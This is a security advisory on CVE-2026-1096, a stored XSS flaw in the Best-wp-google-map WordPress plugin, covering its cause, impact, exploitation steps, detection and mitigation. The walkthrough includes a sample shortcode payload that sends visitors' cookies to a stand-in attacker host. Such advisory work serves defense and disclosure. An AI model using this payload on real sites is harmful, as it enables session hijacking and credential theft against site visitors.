CVE-2026-1096: 
WordPress vulnerability analysis and mitigation

CVE-2026-1096 is a Stored Cross-Site Scripting (XSS) vulnerability in the Best-wp-google-map plugin for WordPress. It affects all versions up to and including 2.1, stemming from insufficient input sanitization and output escaping on the latitude and longitudinal parameters of the google_map_view shortcode. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where user-supplied values for the latitude and longitudinal parameters in the google_map_view shortcode are neither properly sanitized on input nor escaped on output. An attacker with at least Contributor-level WordPress access can embed a malicious shortcode containing a crafted payload in these parameters, which is then stored in the database and rendered unsanitized in the browser of any visitor to the affected page. No special configuration is required beyond having a Contributor (or higher) account on the target WordPress site (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors, including administrators, whenever they load a page containing the injected shortcode. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against authenticated users (including privilege escalation if an admin session is hijacked). Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Best-wp-google-map plugin version 2.1 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/best-wp-google-map/readme.txt) or using tools like WPScan.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create a post or page using the google_map_view shortcode with a malicious JavaScript payload embedded in the latitude or longitudinal parameter, e.g., [google_map_view latitude="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" longitudinal="0"].
4. Submit content: Save or submit the post/page (it may require editor/admin approval depending on site settings, or be published directly if the attacker has sufficient privileges).
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing script tags or encoded JavaScript within latitude or longitudinal parameter values.
• Database: WordPress wp_posts or wp_postmeta tables containing shortcode entries like [google_map_view latitude="<script>... with suspicious JavaScript payloads.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with the google_map_view shortcode, potentially carrying cookie or session data.
• File System: No direct file system artifacts expected for a stored XSS; however, review recently modified posts/pages in the CMS for unexpected shortcode content.

Users should update the Best-wp-google-map plugin to a version beyond 2.1 that includes proper input sanitization and output escaping, once a patched release is available from the plugin vendor. In the interim, site administrators should restrict Contributor-level user registrations or disable the plugin entirely if untrusted contributors have access. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (such as those provided by Wordfence) can help block exploitation attempts (Wordfence, Red Hat CVE).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for January 12–18, 2026, as part of routine plugin security tracking (Wordfence). No notable independent researcher commentary, vendor statements beyond the CVE record, or significant social media discussion has been identified for this vulnerability.